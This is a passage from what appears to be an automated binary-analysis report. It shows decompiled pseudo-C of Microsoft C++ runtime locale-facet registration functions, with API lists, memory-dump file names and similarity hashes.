																																								 *((intOrPtr*)(_t537 + 4)) =  *((intOrPtr*)(_t550 + 0xc));
																																								_push( *((intOrPtr*)(_t550 + 0x14)));
																																								_t175 = _t550 - 4;
																																								 *_t175 =  *(_t550 - 4) & 0x00000000;
																																								__eflags =  *_t175;
																																								 *_t537 = 0x6dd7c0c4;
																																								 *((char*)(_t537 + 0x28)) =  *((intOrPtr*)(_t550 + 0x10));
																																								E6DD2542F(_t389, _t473, _t510, _t523, _t537,  *_t175);
																																								return E6DD30075(_t537,  *((intOrPtr*)(_t550 + 8)));
																																							} else {
																																								_t523 =  *(_t550 - 0x10);
																																								 *(_t550 - 0x10) = _t523;
																																								 *(_t550 - 4) = 1;
																																								E6DD16FD3(__eflags, _t523);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t523 + 4))))();
																																								 *0x6ddd6dd0 = _t523;
																																								goto L82;
																																							}
																																						} else {
																																							_t523 = _t536;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t522 =  *(_t550 - 0x10);
																																					 *(_t550 - 0x10) = _t522;
																																					 *(_t550 - 4) = 1;
																																					E6DD16FD3(__eflags, _t522);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t522 + 4))))();
																																					 *0x6ddd6e00 = _t522;
																																					goto L75;
																																				}
																																			} else {
																																				_t522 = _t535;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t521 =  *(_t550 - 0x10);
																																		 *(_t550 - 0x10) = _t521;
																																		 *(_t550 - 4) = 1;
																																		E6DD16FD3(__eflags, _t521);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t521 + 4))))();
																																		 *0x6ddd6dcc = _t521;
																																		goto L68;
																																	}
																																} else {
																																	_t521 = _t534;
																																	goto L68;
																																}
																															}
																														} else {
																															_t520 =  *(_t550 - 0x10);
																															 *(_t550 - 0x10) = _t520;
																															 *(_t550 - 4) = 1;
																															E6DD16FD3(__eflags, _t520);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t520 + 4))))();
																															 *0x6ddd6dfc = _t520;
																															goto L61;
																														}
																													} else {
																														_t520 = _t533;
																														goto L61;
																													}
																												}
																											} else {
																												_t519 =  *(_t550 - 0x10);
																												 *(_t550 - 0x10) = _t519;
																												 *(_t550 - 4) = 1;
																												E6DD16FD3(__eflags, _t519);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t519 + 4))))();
																												 *0x6ddd6de0 = _t519;
																												goto L54;
																											}
																										} else {
																											_t519 = _t532;
																											goto L54;
																										}
																									}
																								} else {
																									_t518 =  *(_t550 - 0x10);
																									 *(_t550 - 0x10) = _t518;
																									 *(_t550 - 4) = 1;
																									E6DD16FD3(__eflags, _t518);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t518 + 4))))();
																									 *0x6ddd6ddc = _t518;
																									goto L47;
																								}
																							} else {
																								_t518 = _t531;
																								goto L47;
																							}
																						}
																					} else {
																						_t517 =  *(_t550 - 0x10);
																						 *(_t550 - 0x10) = _t517;
																						 *(_t550 - 4) = 1;
																						E6DD16FD3(__eflags, _t517);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t517 + 4))))();
																						 *0x6ddd6db0 = _t517;
																						goto L40;
																					}
																				} else {
																					_t517 = _t530;
																					goto L40;
																				}
																			}
																		} else {
																			_t516 =  *(_t550 - 0x10);
																			 *(_t550 - 0x10) = _t516;
																			 *(_t550 - 4) = 1;
																			E6DD16FD3(__eflags, _t516);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t516 + 4))))();
																			 *0x6ddd6dd8 = _t516;
																			goto L33;
																		}
																	} else {
																		_t516 = _t529;
																		goto L33;
																	}
																}
															} else {
																_t515 =  *(_t550 - 0x10);
																 *(_t550 - 0x10) = _t515;
																 *(_t550 - 4) = 1;
																E6DD16FD3(__eflags, _t515);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t515 + 4))))();
																 *0x6ddd6dc4 = _t515;
																goto L26;
															}
														} else {
															_t515 = _t528;
															goto L26;
														}
													}
												} else {
													_t514 =  *(_t550 - 0x10);
													 *(_t550 - 0x10) = _t514;
													 *(_t550 - 4) = 1;
													E6DD16FD3(__eflags, _t514);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t514 + 4))))();
													 *0x6ddd6dc8 = _t514;
													goto L19;
												}
											} else {
												_t514 = _t527;
												goto L19;
											}
										}
									} else {
										_t513 =  *(_t550 - 0x10);
										 *(_t550 - 0x10) = _t513;
										 *(_t550 - 4) = 1;
										E6DD16FD3(__eflags, _t513);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t513 + 4))))();
										 *0x6ddd6df4 = _t513;
										goto L12;
									}
								} else {
									_t513 = _t526;
									goto L12;
								}
							}
						} else {
							_t512 =  *(_t550 - 0x10);
							 *(_t550 - 0x10) = _t512;
							 *(_t550 - 4) = 1;
							E6DD16FD3(__eflags, _t512);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t512 + 4))))();
							 *0x6ddd6df8 = _t512;
							goto L5;
						}
					} else {
						_t512 = _t525;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F56E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F578
int.LIBCPMT ref: 6DD1F58F

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F5B2
std::_Facet_Register.LIBCPMT ref: 6DD1F5C9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F5E9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F607

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: ddffdc37d050908e1ee1202d9469dec5442b488bcbb13900e724303199a01d69
Instruction ID: 827b4c8c37d7d525de8e4f6516cc7f6cad9d1a48cd65d4f9494db742267af5f4
Opcode Fuzzy Hash: ddffdc37d050908e1ee1202d9469dec5442b488bcbb13900e724303199a01d69
Instruction Fuzzy Hash: 1011CE7284C1298BCF01FFA4DC40AEDB770EF91324F260009F620A7290EB749A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B7F2, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B7F2(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t111;
				signed int _t112;
				void* _t124;
				void* _t137;
				void* _t150;
				void* _t163;
				void* _t176;
				void* _t189;
				signed int _t283;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				void* _t330;

				_t305 = __edx;
				_t234 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t330 - 0x14, 0);
				_t315 =  *0x6ddd6e2c; // 0x0
				 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
				 *(_t330 - 0x10) = _t315;
				_t111 = E6DCF161C(0x6ddd6e0c);
				_t237 =  *((intOrPtr*)(_t330 + 8));
				_t112 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t111);
				_t307 = _t112;
				if(_t112 != 0) {
					L5:
					E6DD166BA(_t330 - 0x14);
					return E6DD30075(_t307);
				} else {
					if(_t315 == 0) {
						_push( *((intOrPtr*)(_t330 + 8)));
						_push(_t330 - 0x10);
						__eflags = E6DD2BFE8(__ebx, _t237, __edx, _t307, _t315) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t330 - 0x20);
							E6DD33D74(_t330 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t307, _t315, 0x14);
							E6DD16653(_t330 - 0x14, 0);
							_t316 =  *0x6ddd6e30; // 0x0
							 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
							 *(_t330 - 0x10) = _t316;
							_t124 = E6DCF161C(0x6ddd6e10);
							_t244 =  *((intOrPtr*)(_t330 + 8));
							_t308 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t124);
							__eflags = _t308;
							if(_t308 != 0) {
								L12:
								E6DD166BA(_t330 - 0x14);
								return E6DD30075(_t308);
							} else {
								__eflags = _t316;
								if(_t316 == 0) {
									_push( *((intOrPtr*)(_t330 + 8)));
									_push(_t330 - 0x10);
									__eflags = E6DD2C050(_t234, _t244, __edx, _t308, _t316) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t330 - 0x20);
										E6DD33D74(_t330 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t234, _t308, _t316, 0x14);
										E6DD16653(_t330 - 0x14, 0);
										_t317 =  *0x6ddd6e34; // 0x0
										 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
										 *(_t330 - 0x10) = _t317;
										_t137 = E6DCF161C(0x6ddd6e14);
										_t251 =  *((intOrPtr*)(_t330 + 8));
										_t309 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t137);
										__eflags = _t309;
										if(_t309 != 0) {
											L19:
											E6DD166BA(_t330 - 0x14);
											return E6DD30075(_t309);
										} else {
											__eflags = _t317;
											if(_t317 == 0) {
												_push( *((intOrPtr*)(_t330 + 8)));
												_push(_t330 - 0x10);
												__eflags = E6DD2C0B8(_t234, _t251, __edx, _t309, _t317) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t330 - 0x20);
													E6DD33D74(_t330 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t234, _t309, _t317, 0x14);
													E6DD16653(_t330 - 0x14, 0);
													_t318 =  *0x6ddd6e3c; // 0x0
													 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
													 *(_t330 - 0x10) = _t318;
													_t150 = E6DCF161C(0x6ddd6e1c);
													_t258 =  *((intOrPtr*)(_t330 + 8));
													_t310 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t150);
													__eflags = _t310;
													if(_t310 != 0) {
														L26:
														E6DD166BA(_t330 - 0x14);
														return E6DD30075(_t310);
													} else {
														__eflags = _t318;
														if(_t318 == 0) {
															_push( *((intOrPtr*)(_t330 + 8)));
															_push(_t330 - 0x10);
															__eflags = E6DD2C120(_t234, _t258, _t305, _t310, _t318) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t330 - 0x20);
																E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t234, _t310, _t318, 0x14);
																E6DD16653(_t330 - 0x14, 0);
																_t319 =  *0x6ddd6e38; // 0x0
																 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																 *(_t330 - 0x10) = _t319;
																_t163 = E6DCF161C(0x6ddd6e18);
																_t265 =  *((intOrPtr*)(_t330 + 8));
																_t311 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t163);
																__eflags = _t311;
																if(_t311 != 0) {
																	L33:
																	E6DD166BA(_t330 - 0x14);
																	return E6DD30075(_t311);
																} else {
																	__eflags = _t319;
																	if(_t319 == 0) {
																		_push( *((intOrPtr*)(_t330 + 8)));
																		_push(_t330 - 0x10);
																		__eflags = E6DD2C1A4(_t234, _t265, _t305, _t311, _t319) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t330 - 0x20);
																			E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t234, _t311, _t319, 0x14);
																			E6DD16653(_t330 - 0x14, 0);
																			_t320 =  *0x6ddd6e40; // 0x0
																			 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																			 *(_t330 - 0x10) = _t320;
																			_t176 = E6DCF161C(0x6ddd6e20);
																			_t272 =  *((intOrPtr*)(_t330 + 8));
																			_t312 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t176);
																			__eflags = _t312;
																			if(_t312 != 0) {
																				L40:
																				E6DD166BA(_t330 - 0x14);
																				return E6DD30075(_t312);
																			} else {
																				__eflags = _t320;
																				if(_t320 == 0) {
																					_push( *((intOrPtr*)(_t330 + 8)));
																					_push(_t330 - 0x10);
																					__eflags = E6DD2C229(_t234, _t272, _t305, _t312, _t320) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t330 - 0x20);
																						E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t234, _t312, _t320, 0x14);
																						E6DD16653(_t330 - 0x14, 0);
																						_t321 =  *0x6ddd6e44; // 0x0
																						 *(_t330 - 4) =  *(_t330 - 4) & 0x00000000;
																						 *(_t330 - 0x10) = _t321;
																						_t189 = E6DCF161C(0x6ddd6e24);
																						_t279 =  *((intOrPtr*)(_t330 + 8));
																						_t313 = E6DCF171B( *((intOrPtr*)(_t330 + 8)), _t189);
																						__eflags = _t313;
																						if(_t313 != 0) {
																							L47:
																							E6DD166BA(_t330 - 0x14);
																							return E6DD30075(_t313);
																						} else {
																							__eflags = _t321;
																							if(_t321 == 0) {
																								_push( *((intOrPtr*)(_t330 + 8)));
																								_push(_t330 - 0x10);
																								__eflags = E6DD2C295(_t234, _t279, _t305, _t313, _t321) - 0xffffffff;
																								if(__eflags == 0) {
																									_t283 = _t330 - 0x20;
																									E6DCF1438(_t283);
																									E6DD33D74(_t330 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd7851f, _t234, _t313, _t321, 4);
																									_t322 = _t283;
																									 *(_t330 - 0x10) = _t322;
																									 *((intOrPtr*)(_t322 + 4)) =  *((intOrPtr*)(_t330 + 0xc));
																									_push( *((intOrPtr*)(_t330 + 0x14)));
																									_t105 = _t330 - 4;
																									 *_t105 =  *(_t330 - 4) & 0x00000000;
																									__eflags =  *_t105;
																									 *_t322 = 0x6dd7c414;
																									 *((char*)(_t322 + 0x28)) =  *((intOrPtr*)(_t330 + 0x10));
																									E6DD2D028(_t234, _t283, _t305, _t313, _t322,  *_t105);
																									return E6DD30075(_t322,  *((intOrPtr*)(_t330 + 8)));
																								} else {
																									_t313 =  *(_t330 - 0x10);
																									 *(_t330 - 0x10) = _t313;
																									 *(_t330 - 4) = 1;
																									E6DD16FD3(__eflags, _t313);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t313 + 4))))();
																									 *0x6ddd6e44 = _t313;
																									goto L47;
																								}
																							} else {
																								_t313 = _t321;
																								goto L47;
																							}
																						}
																					} else {
																						_t312 =  *(_t330 - 0x10);
																						 *(_t330 - 0x10) = _t312;
																						 *(_t330 - 4) = 1;
																						E6DD16FD3(__eflags, _t312);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t312 + 4))))();
																						 *0x6ddd6e40 = _t312;
																						goto L40;
																					}
																				} else {
																					_t312 = _t320;
																					goto L40;
																				}
																			}
																		} else {
																			_t311 =  *(_t330 - 0x10);
																			 *(_t330 - 0x10) = _t311;
																			 *(_t330 - 4) = 1;
																			E6DD16FD3(__eflags, _t311);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t311 + 4))))();
																			 *0x6ddd6e38 = _t311;
																			goto L33;
																		}
																	} else {
																		_t311 = _t319;
																		goto L33;
																	}
																}
															} else {
																_t310 =  *(_t330 - 0x10);
																 *(_t330 - 0x10) = _t310;
																 *(_t330 - 4) = 1;
																E6DD16FD3(__eflags, _t310);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t310 + 4))))();
																 *0x6ddd6e3c = _t310;
																goto L26;
															}
														} else {
															_t310 = _t318;
															goto L26;
														}
													}
												} else {
													_t309 =  *(_t330 - 0x10);
													 *(_t330 - 0x10) = _t309;
													 *(_t330 - 4) = 1;
													E6DD16FD3(__eflags, _t309);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t309 + 4))))();
													 *0x6ddd6e34 = _t309;
													goto L19;
												}
											} else {
												_t309 = _t317;
												goto L19;
											}
										}
									} else {
										_t308 =  *(_t330 - 0x10);
										 *(_t330 - 0x10) = _t308;
										 *(_t330 - 4) = 1;
										E6DD16FD3(__eflags, _t308);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t308 + 4))))();
										 *0x6ddd6e30 = _t308;
										goto L12;
									}
								} else {
									_t308 = _t316;
									goto L12;
								}
							}
						} else {
							_t307 =  *(_t330 - 0x10);
							 *(_t330 - 0x10) = _t307;
							 *(_t330 - 4) = 1;
							E6DD16FD3(__eflags, _t307);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t307 + 4))))();
							 *0x6ddd6e2c = _t307;
							goto L5;
						}
					} else {
						_t307 = _t315;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD2B7F9
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B803
int.LIBCPMT ref: 6DD2B81A

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

messages.LIBCPMT ref: 6DD2B83D
std::_Facet_Register.LIBCPMT ref: 6DD2B854
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B874
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B892

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
String ID:
API String ID: 438560357-0
Opcode ID: f592b7a8b288fb7119efc813a50440e8960474f877922ec5e32c463f89427771
Instruction ID: ba3d2de182e64ae5cd665d0da3c42fbf0fcc721b938ec857513b5ae4cdaa3200
Opcode Fuzzy Hash: f592b7a8b288fb7119efc813a50440e8960474f877922ec5e32c463f89427771
Instruction Fuzzy Hash: A411BC7580812DCBCF00FBA4C840ABDB775EF49718F164009F614A72D4DBB199059BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EF91, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1EF91(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t307;
				signed int _t308;
				void* _t320;
				void* _t333;
				void* _t346;
				void* _t359;
				void* _t372;
				void* _t385;
				void* _t398;
				void* _t411;
				void* _t424;
				void* _t437;
				void* _t450;
				void* _t463;
				void* _t476;
				void* _t489;
				void* _t502;
				void* _t515;
				void* _t528;
				void* _t541;
				void* _t554;
				void* _t567;
				signed int _t815;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t898;
				signed int _t899;
				signed int _t900;
				signed int _t901;
				signed int _t903;
				signed int _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t915;
				signed int _t916;
				signed int _t917;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				signed int _t922;
				signed int _t923;
				signed int _t924;
				void* _t946;

				_t879 = __edx;
				_t668 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t946 - 0x14, 0);
				_t903 =  *0x6ddd6de4; // 0x0
				 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
				 *(_t946 - 0x10) = _t903;
				_t307 = E6DCF161C(0x6ddd6d90);
				_t671 =  *((intOrPtr*)(_t946 + 8));
				_t308 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t307);
				_t881 = _t308;
				if(_t308 != 0) {
					L5:
					E6DD166BA(_t946 - 0x14);
					return E6DD30075(_t881);
				} else {
					if(_t903 == 0) {
						_push( *((intOrPtr*)(_t946 + 8)));
						_push(_t946 - 0x10);
						__eflags = E6DD20D03(__ebx, _t671, __edx, _t881, _t903) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t946 - 0x20);
							E6DD33D74(_t946 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t881, _t903, 0x14);
							E6DD16653(_t946 - 0x14, 0);
							_t904 =  *0x6ddd6db4; // 0x0
							 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
							 *(_t946 - 0x10) = _t904;
							_t320 = E6DCF161C(0x6ddd6d68);
							_t678 =  *((intOrPtr*)(_t946 + 8));
							_t882 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t320);
							__eflags = _t882;
							if(_t882 != 0) {
								L12:
								E6DD166BA(_t946 - 0x14);
								return E6DD30075(_t882);
							} else {
								__eflags = _t904;
								if(_t904 == 0) {
									_push( *((intOrPtr*)(_t946 + 8)));
									_push(_t946 - 0x10);
									__eflags = E6DD20DA5(_t668, _t678, __edx, _t882, _t904) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t946 - 0x20);
										E6DD33D74(_t946 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t668, _t882, _t904, 0x14);
										E6DD16653(_t946 - 0x14, 0);
										_t905 =  *0x6ddd6dd4; // 0x0
										 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
										 *(_t946 - 0x10) = _t905;
										_t333 = E6DCF161C(0x6ddd6b28);
										_t685 =  *((intOrPtr*)(_t946 + 8));
										_t883 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t333);
										__eflags = _t883;
										if(_t883 != 0) {
											L19:
											E6DD166BA(_t946 - 0x14);
											return E6DD30075(_t883);
										} else {
											__eflags = _t905;
											if(_t905 == 0) {
												_push( *((intOrPtr*)(_t946 + 8)));
												_push(_t946 - 0x10);
												__eflags = E6DD20E47(_t668, _t685, __edx, _t883, _t905) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t946 - 0x20);
													E6DD33D74(_t946 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t668, _t883, _t905, 0x14);
													E6DD16653(_t946 - 0x14, 0);
													_t906 =  *0x6ddd6de8; // 0x0
													 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
													 *(_t946 - 0x10) = _t906;
													_t346 = E6DCF161C(0x6ddd6d94);
													_t692 =  *((intOrPtr*)(_t946 + 8));
													_t884 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t346);
													__eflags = _t884;
													if(_t884 != 0) {
														L26:
														E6DD166BA(_t946 - 0x14);
														return E6DD30075(_t884);
													} else {
														__eflags = _t906;
														if(_t906 == 0) {
															_push( *((intOrPtr*)(_t946 + 8)));
															_push(_t946 - 0x10);
															__eflags = E6DD20EB7(_t668, _t692, _t879, _t884, _t906) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t946 - 0x20);
																E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t668, _t884, _t906, 0x14);
																E6DD16653(_t946 - 0x14, 0);
																_t907 =  *0x6ddd6db8; // 0x0
																 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																 *(_t946 - 0x10) = _t907;
																_t359 = E6DCF161C(0x6ddd6d6c);
																_t699 =  *((intOrPtr*)(_t946 + 8));
																_t885 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t359);
																__eflags = _t885;
																if(_t885 != 0) {
																	L33:
																	E6DD166BA(_t946 - 0x14);
																	return E6DD30075(_t885);
																} else {
																	__eflags = _t907;
																	if(_t907 == 0) {
																		_push( *((intOrPtr*)(_t946 + 8)));
																		_push(_t946 - 0x10);
																		__eflags = E6DD20F1F(_t668, _t699, _t879, _t885, _t907) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t946 - 0x20);
																			E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t668, _t885, _t907, 0x14);
																			E6DD16653(_t946 - 0x14, 0);
																			_t908 =  *0x6ddd6dec; // 0x0
																			 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																			 *(_t946 - 0x10) = _t908;
																			_t372 = E6DCF161C(0x6ddd6d98);
																			_t706 =  *((intOrPtr*)(_t946 + 8));
																			_t886 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t372);
																			__eflags = _t886;
																			if(_t886 != 0) {
																				L40:
																				E6DD166BA(_t946 - 0x14);
																				return E6DD30075(_t886);
																			} else {
																				__eflags = _t908;
																				if(_t908 == 0) {
																					_push( *((intOrPtr*)(_t946 + 8)));
																					_push(_t946 - 0x10);
																					__eflags = E6DD20F87(_t668, _t706, _t879, _t886, _t908) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t946 - 0x20);
																						E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t668, _t886, _t908, 0x14);
																						E6DD16653(_t946 - 0x14, 0);
																						_t909 =  *0x6ddd6dbc; // 0x0
																						 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																						 *(_t946 - 0x10) = _t909;
																						_t385 = E6DCF161C(0x6ddd6d70);
																						_t713 =  *((intOrPtr*)(_t946 + 8));
																						_t887 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t385);
																						__eflags = _t887;
																						if(_t887 != 0) {
																							L47:
																							E6DD166BA(_t946 - 0x14);
																							return E6DD30075(_t887);
																						} else {
																							__eflags = _t909;
																							if(_t909 == 0) {
																								_push( *((intOrPtr*)(_t946 + 8)));
																								_push(_t946 - 0x10);
																								__eflags = E6DD20FEF(_t668, _t713, _t879, _t887, _t909) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t946 - 0x20);
																									E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t668, _t887, _t909, 0x14);
																									E6DD16653(_t946 - 0x14, 0);
																									_t910 =  *0x6ddd6df0; // 0x0
																									 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																									 *(_t946 - 0x10) = _t910;
																									_t398 = E6DCF161C(0x6ddd6d9c);
																									_t720 =  *((intOrPtr*)(_t946 + 8));
																									_t888 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t398);
																									__eflags = _t888;
																									if(_t888 != 0) {
																										L54:
																										E6DD166BA(_t946 - 0x14);
																										return E6DD30075(_t888);
																									} else {
																										__eflags = _t910;
																										if(_t910 == 0) {
																											_push( *((intOrPtr*)(_t946 + 8)));
																											_push(_t946 - 0x10);
																											__eflags = E6DD21057(_t668, _t720, _t879, _t888, _t910) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t946 - 0x20);
																												E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t668, _t888, _t910, 0x14);
																												E6DD16653(_t946 - 0x14, 0);
																												_t911 =  *0x6ddd6dc0; // 0x0
																												 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																												 *(_t946 - 0x10) = _t911;
																												_t411 = E6DCF161C(0x6ddd6d74);
																												_t727 =  *((intOrPtr*)(_t946 + 8));
																												_t889 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t411);
																												__eflags = _t889;
																												if(_t889 != 0) {
																													L61:
																													E6DD166BA(_t946 - 0x14);
																													return E6DD30075(_t889);
																												} else {
																													__eflags = _t911;
																													if(_t911 == 0) {
																														_push( *((intOrPtr*)(_t946 + 8)));
																														_push(_t946 - 0x10);
																														__eflags = E6DD210BF(_t668, _t727, _t879, _t889, _t911) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t946 - 0x20);
																															E6DD33D74(_t946 - 0x20, 0x6ddd3504);
